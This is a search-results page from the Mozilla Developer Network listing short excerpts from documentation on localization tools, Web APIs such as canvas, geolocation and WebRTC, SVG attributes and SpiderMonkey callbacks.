... mercurial allows localizers to work locally (on their machines) and then push (an hg term) changes to a remote repository, which usually is hosted on the mozilla servers (hg.mozilla.org).
... localizing current versions of firefox, thunderbird and seamonkey includes working with mercurial.
...And 23 more matches
Localizing with Mozilla Translator
mozillatranslator (mt) is a java-based cat tool used to translate a variety of mozilla applications.
...like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from previous translations, thus cutting time and effort when localizing new versions of mozilla applications.
... getting started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt.
...And 23 more matches
nsIAbCard/Thunderbird3
documentation for the old nsiabcard interface is currently at nsiabcard.
... the nsiabcard interface is used to represent and manipulate cards in the address book.
... in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.
...And 23 more matches
PKCS #11 Netscape Trust Objects - Network Security Services
pkcs #11 is a standard that defines ways to store certificates, keys and perform crypto operations.
...trust objects are used to assign an explicit level of trust to a certificate.
... examples of trust assertions are certificate authority root certificates.
...And 23 more matches
Using the Geolocation API - Web APIs
the geolocation api is used to retrieve the user's location, so that it can for example be used to display their position using a mapping api.
... the geolocation object the geolocation api is available through the navigator.geolocation object.
... if the object exists, geolocation services are available.
...And 23 more matches
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().
... this adds this new remote candidate to the rtcpeerconnection's remote description, which describes the state of the remote end of the connection.
... if the candidate parameter is missing or a value of null is given when calling addicecandidate(), the added ice candidate is an "end-of-candidates" indicator.
...And 23 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's localid property is a string which can be used to identify the rtcinboundrtpstreamstats object whose remoteid matches this value.
... syntax let localid = rtcremoteoutboundrtpstreamstats.localid; value a domstring which can be compared to the value of an rtcinboundrtpstreamstats object's remoteid property to see if the two represent statistics for each of the two sides of the same set of data received by the local peer.
... usage notes you can think of the local and remote views of the same rtp stream as pairs, each of which has a reference back to the other one.
...And 23 more matches
Deprecated and obsolete features - JavaScript
this page lists features of javascript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).
... deprecated features these deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future.
... regexp properties the following properties are deprecated.
...And 23 more matches
Localizing an extension - Archive of obsolete content
« previousnext » this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension.
... performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves.
... if you haven't already created an extension, or would like to refresh your memory, take a look at the previous articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension.
...And 22 more matches
Mozilla Content Localized in Your Language
the content here should be what you and your localization team have decided, together, to follow when localizing mozilla products and web sites.
... you are free to add, edit, remove, and localize everything in this section according to how the localization team for your language agrees.
... all we ask is that you name this page according to this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom.
...And 22 more matches
Localization formats
warning: this document pertains to the development of mozilla web sites and not to the development of gecko-based extensions or applications.
... there are 4 main approaches to web l10n with regards to the choice of technology used for localization logic: html/php .lang gettext (.po) wiki (tbd) the choice of the filetype depends on a couple of factors: how much content is there to be localized?
... will the content differ per locale?
...And 22 more matches
JS_SetOperationCallback
this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascript code runs.
... these methods/types are renamed to js_setinterruptcallback, js_getinterruptcallback, js_requestinterruptcallback and jsinterruptcallback in spidermonkey 30.
... syntax void js_setoperationcallback(jscontext *cx, jsoperationcallback callback); jsoperationcallback js_getoperationcallback(jscontext *cx); void js_triggeroperationcallback(jsruntime *rt); name type description cx jscontext * a context.
...And 22 more matches
nsIInstallLocation
toolkit/mozapps/extensions/public/nsiextensionmanager.idlscriptable interface representing a location where extensions, themes and so on are installed.
...you can get the install location of a particular add-on using nsiextensionmanager interface: var il = components.classes["@mozilla.org/extensions/manager;1"] .getservice(components.interfaces.nsiextensionmanager) .getinstalllocation("add-on id") method overview astring getidforlocation(in nsifile file); nsifile getitemfile(in astring id, in astring path); ns...
...ifile getitemlocation(in astring id); nsifile getstagefile(in astring id); boolean itemismanagedindependently(in astring id); void removefile(in nsifile file); nsifile stagefile(in nsifile file, in astring id); attributes attribute type description canaccess boolean whether or not the user can write to the install location with the current access privileges.
...And 22 more matches
Xptcall Porting Status
this is a status page for the multiplatform porting of xptcall.
... xptcall has a faq and a porting guide.
... this is being maintained by john bandhauer <jband@netscape.com>.
...And 22 more matches
HTMLCanvasElement.getContext() - Web APIs
the htmlcanvaselement.getcontext() method returns a drawing context on the canvas, or null if the context identifier is not supported.
... later calls to this method on the same canvas element return the same drawing context instance as was returned the last time the method was invoked with the same contexttype argument.
... to get a different drawing context object you need to pass a different contexttype or call the method on a different canvas element.
...And 22 more matches
OffscreenCanvas - Web APIs
the offscreencanvas interface provides a canvas that can be rendered off screen.
... constructors offscreencanvas() offscreencanvas constructor.
... creates a new offscreencanvas object.
...And 22 more matches
Web applications and ARIA FAQ - Accessibility
wai-aria is the accessible rich internet applications specification from the web accessibility initiative at the w3c.
... aria provides a means to make web applications and widgets more accessible to a diverse range of users, including those who use assistive technologies such as screen readers or magnifiers.
...aria enables dynamic, javascript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies.
...And 22 more matches
Intl.Locale - JavaScript
the intl.locale object is a standard built-in property of the intl object that represents a unicode locale identifier.
... description the intl.locale object was created to allow for easier manipulation of unicode locales.
... unicode represents locales with a string, called a locale identifier.
...And 22 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
the begin attribute defines when an animation should begin or when an element should be discarded.
...the interpretation of a list of start times is detailed in the smil specification in "evaluation of begin and end time lists".
... each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite.
...And 22 more matches
preserveAspectRatio - SVG: Scalable Vector Graphics
the preserveaspectratio attribute indicates how an element with a viewbox providing a given aspect ratio must fit into a viewport with a different aspect ratio.
... because the aspect ratio of an svg image is defined by the viewbox attribute, if this attribute isn't set, the preserveaspectratio attribute has no effect (with one exception, the <image> element, as described below).
...erveaspectratio="xmaxymid slice" x="150" y="0"> <use href="#smiley" /> </svg> <!-- none --> <rect x="0" y="30" width="160" height="60"> <title>none</title> </rect> <svg viewbox="0 0 100 100" width="160" height="60" preserveaspectratio="none" x="0" y="30"> <use href="#smiley" /> </svg> </svg> path { fill: yellow; stroke: black; stroke-width: 8px; stroke-linecap: round; stroke-linejoin: round; pointer-events: none; } rect:hover, rect:active { outline: 1px solid red; } syntax preserveaspectratio="<align> [<meetorslice>]" its value is made of one or two keywords: a required alignment value and an optional "meet or slice" reference as described below: alignment value the alignment value indicates whether to force uniform scaling and, if so...
...And 22 more matches
Building up a basic demo with PlayCanvas editor - Game development
instead of coding everything from scratch you can also use the online playcanvas editor.
... this can be a more pleasant working environment if you are not someone who likes to code.
... creating an account the playcanvas editor is free — all you have to do to begin with is register your account and login: when you first sign up, you are taken straight into the editor and given a simple starter tutorial involving editing a 3d rolling ball game.
...And 21 more matches
Practical positioning examples - Learn web development
this article shows how to build some real world examples to illustrate what kinds of things you can do with positioning.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to get an idea of the practicalities of positioning a tabbed info-box the first example we'll look at is a classic tabbed info box — a very common feature used when you want to pack a lot of information into a small area.
...our simple example will look like this once we are finished: note: you can see the finished example running live at info-box.html (source code).
...And 21 more matches
nsCAutoString
class declaration nstautostring_chart subclass of nststring_chart that adds support for stack-based string allocation.
... it is normally not a good idea to use this class on the heap, because it will allocate space which may be wasted if the string it contains is significantly smaller or any larger than 64 characters.
... names: nsautostring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated chara...
...And 21 more matches
nsICacheSession
netwerk/cache/public/nsicachesession.idlscriptable handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doomentriesifexpired prbool expired entries will be doomed or evicted if this attribute is set to true.
... if false, expired entries will be returned (useful for offline mode and clients, such as http, that can update the valid lifetime of cached content).
...And 21 more matches
Xptcall Porting Guide
overview xptcall is a library that supports both invoking methods on arbitrary xpcom objects and implementing classes whose objects can impersonate any xpcom interface.
...this code needs to be ported to all platforms that want to support xptcall (and thus mozilla).
... the tree mozilla/xpcom/reflect/xptcall +--public // exported headers +--src // core source | \--md // platform specific parts | +--mac // mac ppc | +--unix // all unix | \--win32 // win32 | +--test // simple tests to get started \--tests // full tests via api porters are free to create subdirectories under the base md directory for their given platforms and to integrate into the build system as appropriate for their platform.
...And 21 more matches
Optimizing canvas - Web APIs
« previousnext » the <canvas> element is one of the most widely used tools for rendering 2d graphics on the web.
... however, when websites and apps push the canvas api to its limits, performance begins to suffer.
... this article provides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well.
...And 21 more matches
Screen Capture API - Web APIs
the screen capture api introduces additions to the existing media capture and streams api to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.
... this stream can then be recorded or shared with others over the network.
... screen capture api concepts and usage the screen capture api is relatively simple to use.
...And 21 more matches
appendNotification - Archive of obsolete content
« xul reference home appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... if another notification is already present with a higher priority, the new notification will be added behind it.
... label - label to appear on the notification.
...And 20 more matches
scale - Archive of obsolete content
ArchiveMozillaXULscale
« xul reference home [ examples | attributes | properties | methods | related ] a scale (sometimes referred to as a "slider") allows the user to select a value from a range.
... a bar displayed either horizontally or vertically allows the user to select a value by dragging a thumb on the bar.
... use the orient attribute to specify the orientation of the scale.
...And 20 more matches
Common causes of memory leaks in extensions - Extensions
this page explains coding patterns that cause extension to cause memory leaks.
... causes of zombie compartments zombie compartments are a particular kind of memory leak.
... all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circumstances, such as when a window is closed, a page unloads, or an extension is disabled or removed.
...And 20 more matches
Localizing with Pontoon
pontoon is a web-based, what-you-see-is-what-you-get (wysiwyg), localization (l10n) tool.
... at mozilla, we use pontoon to localize all mozilla products and websites, ranging from firefox to mozilla.org.
... pontoon is a very simple and intuitive tool that requires little to no technical skill to use in the l10n workflow.
...And 20 more matches
JS::CallArgs
this article covers features introduced in spidermonkey 17 helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
... syntax js::callargs js::callargsfromvp(unsigned argc, js::value *vp); name type description args unsigned number of argument.
...(3nd argument of jsnative) methods methods of js::callargs method description bool requireatleast(jscontext *cx, const char *fnname, unsigned required) returns true if there are at least required arguments passed in.
...And 20 more matches
nsILocaleService
intl/locale/idl/nsilocaleservice.idlscriptable the locale service interface.
... 1.0 66 introduced gecko 1.6 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/intl/nslocaleservice;1.
... to use this service, use: var localeservice = components.classes["@mozilla.org/intl/nslocaleservice;1"] .getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocalefromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obsolete since gecko 1.9 methods getapplicationlocale() gets the user preference for locale from the operating system.
...And 20 more matches
Geolocation API - Web APIs
the geolocation api allows the user to provide their location to web applications if they so desire.
... for privacy reasons, the user is asked for permission to report location information.
... webextensions that wish to use the geolocation object must add the "geolocation" permission to their manifest.
...And 20 more matches
RTCIceCandidateStats - Web APIs
the webrtc api's rtcicecandidatestats dictionary provides statistics related to an rtcicecandidate.
... properties rtcicecandidatestats is based upon the rtcstats dictionary, so it includes those properties in addition to the ones below.
... address optional a string containing the address of the candidate.
...And 20 more matches
Critical rendering path - Web Performance
the critical rendering path is the sequence of steps the browser goes through to convert the html, css, and javascript into pixels on the screen.
... optimizing the critical render path improves render performance.the critical rendering path includes the document object model (dom), css object model (cssom), render tree and layout.
...layout determines the size and location of everything on the page.
...And 20 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
« previousnext » perhaps more exciting than just fills and strokes is the fact that you can also create and apply gradients as either fills or strokes.
...you must give the gradient an id attribute; otherwise it can't be referenced by other elements inside the file.
...this can be assigned directly or through css.
...And 20 more matches
Localization sign-off reviews
this article presents an overview of why we do sign-off reviews of localizations, the details on the criteria used for the sign-off reviews, and the process for requesting a review and for following its progress.
...this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product.
... each qa review helps us in these ways: ensures that your l10n work is visible and functional within the mozilla application.
...And 19 more matches
extIApplication
this content covers features introduced in thunderbird 3 the extiapplication is defined in toolkit/components/exthelper/extiapplication.idl.
... implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method overview boolean quit() boolean restart() void getextensions(extiextensionscallback acallback) attributes the following interfaces are available to all applications: attribute type description id readonly attribute astring the id of the application.
...And 19 more matches
Declaring and Using Callbacks
c functions occasionally take function pointers as arguments, which are generally used as callbacks.
... in these cases, js-ctypes allows you to pass a regular javascript function as the callback.
... this is very powerful, since it allows native code to transparently call into javascript.
...And 19 more matches
BasicCardResponse - Web APIs
the basiccardresponse dictionary (related to the payment request api, although defined in the basic card payment spec) defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.
... properties basiccardresponse.cardnumber read only secure context contains the number of the card used to make the payment.
... basiccardresponse.cardholdername read only secure context optional contains the cardholder name of the card used to make the payment.
...And 19 more matches
Location - Web APIs
WebAPILocation
the location interface represents the location (url) of the object it is linked to.
...both the document and window interface have such a linked location, accessible via document.location and window.location respectively.
... anatomy of location html <span id="href" title="href"><span id="protocol" title="protocol">http:</span>//<span id="host" title="host"><span id="hostname" title="hostname">example.org</span>:<span id="port" title="port">8888</span></span><span id="pathname" title="pathname">/foo/bar</span><span id="search" title="search">?q=baz</span><span id="hash" title="hash">#bang</span></span> css html, body {height:100%;} html {display:table; width:100%;} body {display:table-cell; text-align:center; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {content:attr(title); font-family:monospace; positi...
...And 19 more matches
arguments.callee - JavaScript
the arguments.callee property contains the currently executing function.
... description callee is a property of the arguments object.
... it can be used to refer to the currently executing function inside the function body of that function.
...And 19 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
svg presentation attributes are css properties that can be used as attributes on svg elements.
... clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unico...
... value: auto|baseline|before-edge|text-before-edge|middle|central|after-edge|text-after-edge|ideographic|alphabetic|hanging|mathematical|inherit; animatable: yes baseline-shift it allows repositioning of the dominant-baseline relative to the dominant-baseline of the parent text content element.
...And 19 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
... naturally, each xml dialect defines the meaning of the markup element names described in its specification.
... contrary to popular opinion, the answer to this question is not "it can tell from the doctype declaration".
...And 19 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
fill and stroke attributes painting basic coloring can be done by setting two attributes on the node: fill and stroke.
...you can use the same css color naming schemes that you use in html, whether that's color names (that is red), rgb values (that is rgb(255,0,0)), hex values, rgba values, etc.
... <rect x="10" y="10" width="100" height="100" stroke="blue" fill="purple" fill-opacity="0.5" stroke-opacity="0.8"/> in addition, you can specify the opacity of either the fill or stroke separately in svg.
...And 19 more matches
JS_SetBranchCallback
specifies a callback function that is automatically called when a script branches backward during execution, when a function returns, and at the end of the script.
... replaced with js_setoperationcallback.
... syntax jsbranchcallback js_setbranchcallback(jscontext *cx, jsbranchcallback cb); name type description cx jscontext * the context to hook.
...And 18 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
part of the webgl api, the webglrenderingcontext method getuniformlocation() returns the location of a specific uniform variable which is part of a given webglprogram.
... the uniform variable is returned as a webgluniformlocation object, which is an opaque identifier used to specify where in the gpu's memory that uniform variable is located.
... once you have the uniform's location, you can access the uniform itself using one of the other uniform access methods, passing in the uniform location as one of the inputs: getuniform() returns the value of the uniform at the given location.
...And 18 more matches
Case Sensitivity in class and id Names - Archive of obsolete content
summary: although css is itself case-insensitive, class and id names are defined to be case-sensitive in html 4.01.
... find out how this wrinkle can affect your site design and best practices to avoid any problems.
...we have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards.
...And 17 more matches
XUL Application Packaging - Archive of obsolete content
xulrunner application packages are standard toolkit bundles (like a firefox extension), with one additional manifest file (application.ini) which helps describe the application.
... xul app packages are typically zipped into an archive with the extension .xulapp or .xpi.
... they can be installed to xulrunner with a command line flag "--install-app" if xulrunner is registered on the system.
...And 17 more matches
RTCPeerConnection: icecandidate event - Web APIs
an icecandidate event is sent to an rtcpeerconnection when an rtcicecandidate has been identified and added to the local peer by a call to rtcpeerconnection.setlocaldescription().
... the event handler should transmit the candidate to the remote peer over the signaling channel so the remote peer can add it to its set of remote candidates.
... bubbles no cancelable no interface rtcpeerconnectioniceevent event handler property rtcpeerconnection.onicecandidate description there are three reasons why the icecandidate event is fired on an rtcpeerconnection.
...And 17 more matches
fill - SVG: Scalable Vector Graphics
WebSVGAttributefill
as a presentation attribute, it can be applied to any element but it only has an effect on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan>.
... --> <circle cx="250" cy="50" r="20"> <animate attributetype="xml" attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <paint> default value black animatable yes note: as a presentation attribute fill can be used as a css property.
...And 17 more matches
Certificate Transparency - Web security
certificate transparency is an open framework designed to protect against and monitor for certificate misissuances.
... newly issued certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates.
... in this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight.
...And 17 more matches
Create the Canvas and draw on it - Game development
« previousnext » this is the 1st step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson1.html.
... before we can start writing the game's functionality, we need to create a basic structure to render the game inside.
...And 16 more matches
How do you set up a local testing server? - Learn web development
this article explains how to set up a simple local testing server on your machine, and the basics of how to use it.
... objective: you will learn how to set up a local testing server.
... local files vs.
...And 16 more matches
Creating JavaScript callbacks in components
callback patterns in idl xpcom components use idl to create interfaces.
...a common pattern used with interfaces to create a bi-directional communication between two groups of code is the observer (or listener) pattern.
... basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component.
...And 16 more matches
Infallible memory allocation
there's ongoing work to implement infallible memory allocators.
... these are memory allocation routines that never return null; that is, they always successfully return the requested block of memory.
... this is in contrast to a traditional, fallible memory allocator that can return null indicating that the request failed.
...And 16 more matches
Receiving startup notifications
sometimes it's necessary for xpcom components to receive notifications as to the progress of the application's startup process, so they can start new services at appropriate times, for example.
... receiving startup notifications in gecko 2.0 (firefox 4) and later in order to improve startup times, changes were made to the xpcom startup process.
...the important thing to note is that now instead of registering with the category manager programmatically as was done in the past, you add lines to your chrome.manifest to let the application handle it for you.
...And 16 more matches
Deprecated tools - Firefox Developer Tools
we have created this list of deprecated or removed panels.
... this page documents the deprecated panels and the bugs that track their removal.
... although these panels have been removed, you still have access to the old code, and there are alternative webextensions that you can try to get similar functionality.
...And 16 more matches
Manipulating video using canvas - Web APIs
by combining the capabilities of the video element with a canvas, you can manipulate video data in real time to incorporate a variety of visual effects to the video being displayed.
... background-image: url(media/foo.png); background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px; background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away from this are: this document establishes two canvas elements, with the ids c1 and c2.
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green background in the video.
...And 16 more matches
OffscreenCanvas.getContext() - Web APIs
the offscreencanvas.getcontext() method returns a drawing context for an offscreen canvas, or null if the context identifier is not supported.
...see bug 801176 for canvas 2d api support from workers.
... syntax offscreen.getcontext(contexttype, contextattributes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas.
...And 16 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current origin.
... security and tainted canvases because the pixels in a canvas's bitmap can come from a variety of sources, including images or videos retrieved from other hosts, it's inevitable that security problems may arise.
... as soon as you draw into a canvas any data that was loaded from another origin without cors approval, the canvas becomes tainted.
...And 16 more matches
Array.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string representing the elements of the array.
... the elements are converted to strings using their tolocalestring methods and these strings are separated by a locale-specific string (such as a comma “,”).
... syntax arr.tolocalestring([locales[, options]]); parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
...And 16 more matches
kernelUnitLength - SVG: Scalable Vector Graphics
for lighting filter primitives, it indicates the intended distance for the x and y coordinates, for <feconvolvematrix>, it indicates the intended distance between successive columns and rows in the kernel matrix.
... three elements are using this attribute: <feconvolvematrix>, <fediffuselighting>, and <fespecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits attribute) between successive columns and rows, respectively, in the kernelmatrix.
... by specifying value(s) for kernelunitlength, the kernel becomes defined in a scalable, abstract coordinate system.
...And 16 more matches
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for <foreignobject>.
... value auto | <length> | <percentage> default value auto (treated as the intrinsic width of the image) animatable yes note: starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for images.
... value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for rectangles.
...And 16 more matches
Introduction - SVG: Scalable Vector Graphics
« previousnext » svg is an xml language, similar to xhtml, which can be used to draw vector graphics, such as the ones shown to the right.
... it can be used to create an image either by specifying all the lines and shapes necessary, by modifying already existing raster images, or by a combination of both.
... the image and its components can also be transformed, composited together, or filtered to change their appearance completely.
...And 16 more matches
Communicating With Other Scripts - Archive of obsolete content
this section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
... content scripts content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web content itself.
... however, content scripts which have been loaded into different documents cannot interact directly with each other.
...And 15 more matches
Communicating using "port" - Archive of obsolete content
to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
...for example, to receive the context message in a content script associated with a context menu object, you would call the on function attached to the global self object: self.on("context", function() { // handle the message }); so the port property is essentially used here as a namespace for user-defined messages.
... accessing port in the add-on script in the add-on code, the channel of communication between the add-on and a particular content script context is encapsulated by the worker object.
...And 15 more matches
Debugging a XULRunner Application - Archive of obsolete content
the easiest way to debug a xulrunner application is to get the system to tell you what's wrong!
...it doesn't matter what the file is called (as long as the extension is .js), so debug.js is as good as any!
... /* debugging prefs */ pref("browser.dom.window.dump.enabled", true); pref("javascript.options.showinconsole", true); pref("javascript.options.strict", true); pref("nglayout.debug.disable_xul_cache", true); pref("nglayout.debug.disable_xul_fastload", true); don't forget to change these preferences back to their defaults when you've finished debugging; leaving them as-is can significantly harm performance and usability.
...And 15 more matches
Patching a Localization
say you have found a problem with an existing localization.
... more specifically, it's a problem with an already released localization.
...this page will walk you through creating a patch for an existing localization.
...And 15 more matches
JS_AddFinalizeCallback
this article covers features introduced in spidermonkey 17 add/remove callback function for finalization.
... syntax bool js_addfinalizecallback(jsruntime *rt, jsfinalizecallback cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type description rt jsruntime * the jsruntime for which to set the finalization callback.
... cb jsfinalizecallback pointer to the new callback function to use.
...And 15 more matches
JS_SetContextCallback
specifies a callback function that is automatically called whenever a jscontext is created or destroyed.
... syntax void js_setcontextcallback(jsruntime *rt, jscontextcallback cxcallback, void *data); name type description rt jsruntime * pointer to a js runtime.
... cxcallback jscontextcallback pointer to the callback function, described below.
...And 15 more matches
JS_SetInterruptCallback
this article covers features introduced in spidermonkey 31 set a callback function that is automatically called periodically while javascript code runs.
... syntax jsinterruptcallback js_setinterruptcallback(jsruntime *rt, jsinterruptcallback callback); jsinterruptcallback js_getinterruptcallback(jsruntime *rt); void js_requestinterruptcallback(jsruntime *rt); name type description rt jsruntime * the runtime.
... callback jsinterruptcallback the callback function to install.
...And 15 more matches
CanvasRenderingContext2D.drawImage() - Web APIs
the canvasrenderingcontext2d.drawimage() method of the canvas 2d api provides different ways to draw an image onto the canvas.
...the specification permits any canvas image source (canvasimagesource), specifically, a cssimagevalue, an htmlimageelement, an svgimageelement, an htmlvideoelement, an htmlcanvaselement, an imagebitmap, or an offscreencanvas.
... dx the x-axis coordinate in the destination canvas at which to place the top-left corner of the source image.
...And 15 more matches
A basic ray-caster - Web APIs
this article provides an interesting real-world example of using the <canvas> element to do software rendering of a 3d environment using ray-casting.
... after realizing, to my delight, that the nifty <canvas> element i'd been reading about was not only soon to be supported in firefox, but was already supported in the current version of safari, i had to try a little experiment.
... the canvas overview and tutorial i found here at mdn are great, but nobody had written about animation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect from a javascript-controlled pixel buffer.
...And 15 more matches
LocalFileSystemSync - Web APIs
the localfilesystemsync interface of the file system api gives you access to a sandboxed file system.
... about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... this specification is more or less abandonned, failing to get significant traction.
...And 15 more matches
MediaStream Image Capture API - Web APIs
the mediastream image capture api is an api for capturing images or videos from a photographic device.
... in addition to capturing data, it also allows you to retrieve information about device capabilities such as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
... conversely, the api allows the capabilities to be configured within the constraints what the device allows.
...And 15 more matches
Media Capabilities API - Web APIs
the media capabilities api allows developers to determine decoding and encoding abilities of the device, exposing information such as whether media is supported and whether playback should be smooth and power efficient, with real time feedback about playback to better enable adaptive streaming, and access to display property information.
... if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (result.supported ?
...'' : 'not ') + 'power efficient.') }) .catch(() => { console.log("decodinginfo error: " + contenttype) }); } media capabilities api concepts and usage there are a myriad of video and audio codecs.
...And 15 more matches
Notifications API - Web APIs
the notifications api allows web pages to control the display of system notifications to the end user.
... these are outside the top-level browsing context viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app.
... the api is designed to be compatible with existing notification systems, across different platforms.
...And 15 more matches
RTCConfiguration.certificates - Web APIs
the rtcconfiguration dictionary's optional certificates property is an array of rtccertificate objects providing the security certificates available for use when authenticating duing the connection process.
... syntax let rtcconfiguration = { certificates: certificatelist }; let rtcconfiguration.certificates = [ cert1...
... ]; let certificates = rtcconfiguration.certificates; value an array of rtccertificate objects, each specifying one security certificate available for use when connecting to a remote peer.
...And 15 more matches
dominant-baseline - SVG: Scalable Vector Graphics
it also indicates the default alignment baseline of any boxes participating in baseline alignment in the box’s alignment context.
... it is used to determine or re-determine a scaled-baseline-table.
